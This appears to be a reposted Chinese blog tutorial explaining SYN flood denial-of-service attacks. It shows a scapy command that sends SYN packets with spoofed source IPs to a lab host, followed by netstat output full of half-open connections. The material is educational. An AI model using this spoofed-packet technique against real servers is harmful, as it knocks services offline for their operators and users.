SYN flood 攻击
SYN Flood 是一种广为人知的 DoS(拒绝服务攻击) 想象一个场景:客户端大量伪造 IP 发送 SYN 包,服务端回复的 ACK+SYN 去到了一个「未知」的 IP 地址,
势必会造成服务端大量的连接处于 SYN_RCVD 状态,而服务器的半连接队列大小也是有限的,如果半连接队列满,也会出现无法处理正常请求的情况
在客户端用 scapy 执行的 sr1 函数向目标机器(192.168.137.2)发起 SYN 包
sr1(IP(src="192.168.137.*", dst="192.168.137.2") / TCP(dport=8080, flags="S") )
可以看到短时间内,服务端收到了很多虚假 IP 的 SYN 包,马上回复了 SYN+ACK 给这些虚假 IP 的服务器。这些虚假的 IP 当然一脸懵逼,我都没发 SYN,你给我发 SYN+ACK 干嘛,于是马上回了 RST。
使用 netstat 查看服务器的状态
服务端:
node1:/root#netstat -na | grep 8080
tcp 0 0 192.168.137.2:8080 0.0.0.0:* LISTEN
node1:/root#netstat -na | grep 8080
tcp 0 0 192.168.137.2:8080 0.0.0.0:* LISTEN
tcp 0 0 192.168.137.2:8080 192.168.137.11:20 SYN_RECV
tcp 0 0 192.168.137.2:8080 192.168.137.8:20 SYN_RECV
tcp 0 0 192.168.137.2:8080 192.168.137.5:20 SYN_RECV
tcp 0 0 192.168.137.2:8080 192.168.137.13:20 SYN_RECV
tcp 0 0 192.168.137.2:8080 192.168.137.12:20 SYN_RECV
tcp 0 0 192.168.137.2:8080 192.168.137.15:20 SYN_RECV
tcp 0 0 192.168.137.2:8080 192.168.137.16:20 SYN_RECV
tcp 0 0 192.168.137.2:8080 192.168.137.9:20 SYN_RECV
tcp 0 0 192.168.137.2:8080 192.168.137.6:20 SYN_RECV
tcp 0 0 192.168.137.2:8080 192.168.137.4:20 SYN_RECV
tcp 0 0 192.168.137.2:8080 192.168.137.19:20 SYN_RECV
tcp 0 0 192.168.137.2:8080 192.168.137.18:20 SYN_RECV
tcp 0 0 192.168.137.2:8080 192.168.137.17:20 SYN_RECV
tcp 0 0 192.168.137.2:8080 192.168.137.10:20 SYN_RECV
tcp 0 0 192.168.137.2:8080 192.168.137.7:20 SYN_RECV
tcp 0 0 192.168.137.2:8080 192.168.137.14:20 SYN_RECV
SYN flood 攻击 回复RST
猜你喜欢
转载自blog.csdn.net/zhaoyangjian724/article/details/105256380
今日推荐
周排行